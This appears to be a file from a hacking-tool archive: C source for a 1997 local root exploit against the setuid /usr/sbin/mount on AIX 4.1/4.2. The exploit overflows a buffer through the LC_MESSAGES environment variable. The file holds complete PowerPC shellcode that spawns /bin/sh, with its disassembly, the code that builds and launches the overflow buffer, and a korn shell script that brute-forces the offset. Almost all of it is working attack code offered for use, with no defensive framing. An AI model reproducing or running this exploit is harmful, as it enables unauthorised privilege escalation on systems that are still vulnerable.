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Power Hacker 2003
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Exploit and vulnerability
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hoobie
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AIX_mount.c
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C/C++ Source or Header
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2001-11-06
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4KB
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169 lines
/*
AIX 4.2/4.1 LC_MESSEGAS /usr/sbin/mount exploit by Georgi Guninski
-----------------------------------------
Use the IBM C compiler.
Compile with: cc -g test2.c
-----------------
If you get Memory Fault or Illegal Instruction,
try running brute force korn shell script.
22-Mar-97
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char prog[100]="/usr/sbin/mount";
char prog2[30]="mount";
extern int execv();
char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}
/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6 mfspr r0,LR
9421fbb0 stu SP,-1104(SP) --get stack
90010458 st r0,1112(SP)
3c60f019 cau r3,r0,0xf019 --CTR
60632c48 lis r3,r3,11336 --CTR
90610440 st r3,1088(SP)
3c60d002 cau r3,r0,0xd002 --TOC
60634c0c lis r3,r3,19468 --TOC
90610444 st r3,1092(SP)
3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01'
6063696e lis r3,r3,26990
90610438 st r3,1080(SP)
3c602f73 cau r3,r0,0x2f73
60636801 lis r3,r3,26625
3863ffff addi r3,r3,-1
9061043c st r3,1084(SP) --terminate with 0
30610438 lis r3,SP,1080
7c842278 xor r4,r4,r4 --argv=NULL
80410440 lwz RTOC,1088(SP)
80010444 lwz r0,1092(SP) --jump
7c0903a6 mtspr CTR,r0
4e800420 bctr --jump
*/
#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
char VAR[30]="LC_MESSAGES";
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int egg=1;
int ch;
unsigned int reta; /* return address */
int corr=4604;
char *args[4];
char *newenv[8];
int justframes=1;
int startwith=0;
mn=78;
max=100;
if (argc>1)
corr = atoi(argv[1]);
pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
perror("Bad parameters");
exit(1);
}
#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) &
0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);
reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
for(nop=0;nop<mn;nop++)
buf[nop]=startwith ? reta : 0x4ffffb82; /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
|| !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}
while(i++<max)
buf[i]=reta;
buf[i]=0;
for(i=0;i<max-1;i++)
frame[i]=reta;
frame[i]=0;
if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};
puts("Start...");/*Here we go*/
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
(char*)&buf):NULL;
newenv[6]=NULL;
args[0]=prog2;
execve(prog,args,newenv);
perror("Error executing execve \n");
}
/*
------------brute-ksh-script-------------------------------------------
#!/bin/ksh
L=3000
STEP=34
MAX=16000
while [ $L -lt $MAX ]
do
./a.out $L
L=`expr $L + $STEP`
done
*/